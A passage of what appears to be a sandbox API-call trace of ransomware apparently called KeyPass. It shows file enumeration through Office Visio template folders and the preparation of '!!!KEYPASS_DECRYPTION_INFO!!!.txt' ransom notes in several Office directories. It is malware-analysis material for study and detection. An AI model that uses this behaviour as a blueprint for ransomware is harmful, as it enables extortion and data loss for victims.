hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_M.VSTX") returned=".VSTX" [0265.844] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_U.VSSX") returned=".VSSX" [0265.848] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_U.VSTX") returned=".VSTX" [0265.848] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATMOD_M.VSTX") returned=".VSTX" [0265.848] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATMOD_U.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_M.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_M.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_U.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_U.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_M.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_M.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_U.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_U.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_M.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_M.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_U.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_U.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBMODL_M.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBMODL_U.VSTX") returned=".VSTX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_M.VSSX") returned=".VSSX" [0265.849] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_M.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_U.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_U.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DEPTORGCHART_M.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DEPTORGCHART_U.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DGICON_M.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DGICON_U.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMARC_U.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMENG_M.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DIMENG_U.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DOCUMENT_APPROVAL_WORKFLOW_M.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DOCUMENT_APPROVAL_WORKFLOW_U.VSTX") returned=".VSTX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRAWTL_M.VSSX") returned=".VSSX" [0265.850] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRAWTL_U.VSSX") returned=".VSSX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_M.VSSX") returned=".VSSX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_M.VSTX") returned=".VSTX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_U.VSSX") returned=".VSSX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DRILLD_U.VSTX") returned=".VSTX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_M.VSSX") returned=".VSSX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_M.VSTX") returned=".VSTX" [0265.854] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.854] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_U.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_U.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_M.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_M.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_U.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNME_U.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DVCALL_M.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DVCALL_U.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DWGCNV_M.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DWGCNV_U.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EDUCATION_M.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EDUCATION_U.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EDU_EECHIP_M.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_M.VSSX") returned=".VSSX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_M.VSTX") returned=".VSTX" [0265.855] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.855] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_U.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECHIP_U.VSTX") returned=".VSTX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECOMP_M.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EECOMP_U.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_M.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_U.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.856] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_VISIO2013_M.VSSX") returned=".VSSX" [0265.856] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.857] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEFUND_VISIO2013_U.VSSX") returned=".VSSX" [0265.857] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.857] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEGENR_M.VSTX") returned=".VSTX" [0265.857] FindNextFileW (in: hFindFile=0x4e2a648, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0265.857] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEGENR_U.VSTX") returned=".VSTX" [0265.857] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEICS_M.VSTX") returned=".VSTX" [0266.910] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0266.910] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0266.910] GetLastError () returned 0x3f0 [0266.911] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0266.911] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0266.914] GetFileType (hFile=0xbc4) returned 0x1 [0266.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0266.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0266.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0266.915] CloseHandle (hObject=0xbc4) returned 1 [0266.916] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0266.916] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0266.916] GetLastError () returned 0x3f0 [0266.916] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\rsod\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\rsod\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0266.916] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\rsod\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.006] GetFileType (hFile=0xbc8) returned 0x1 [0267.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0267.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0267.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0267.007] CloseHandle (hObject=0xbc8) returned 1 [0267.057] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0267.057] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.057] GetLastError () returned 0x3f0 [0267.057] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.057] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.058] GetFileType (hFile=0xbc0) returned 0x1 [0267.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0267.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0267.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0267.059] CloseHandle (hObject=0xbc0) returned 1 [0267.059] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.059] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.059] GetLastError () returned 0x3f0 [0267.059] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.059] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.073] GetFileType (hFile=0xbd0) returned 0x1 [0267.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.074] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.074] CloseHandle (hObject=0xbd0) returned 1 [0267.074] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0267.075] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.075] GetLastError () returned 0x3f0 [0267.075] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.075] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.132] GetFileType (hFile=0xbd4) returned 0x1 [0267.132] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0267.132] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0267.132] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0267.133] CloseHandle (hObject=0xbd4) returned 1 [0267.133] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.133] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.133] GetLastError () returned 0x3f0 [0267.133] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.133] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.143] GetFileType (hFile=0xbcc) returned 0x1 [0267.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.144] CloseHandle (hObject=0xbcc) returned 1 [0267.148] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.148] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.148] GetLastError () returned 0x3f0 [0267.148] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.148] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.149] GetFileType (hFile=0xbd8) returned 0x1 [0267.149] GetLocaleInfoEx (in: lpLocaleName=0x0, 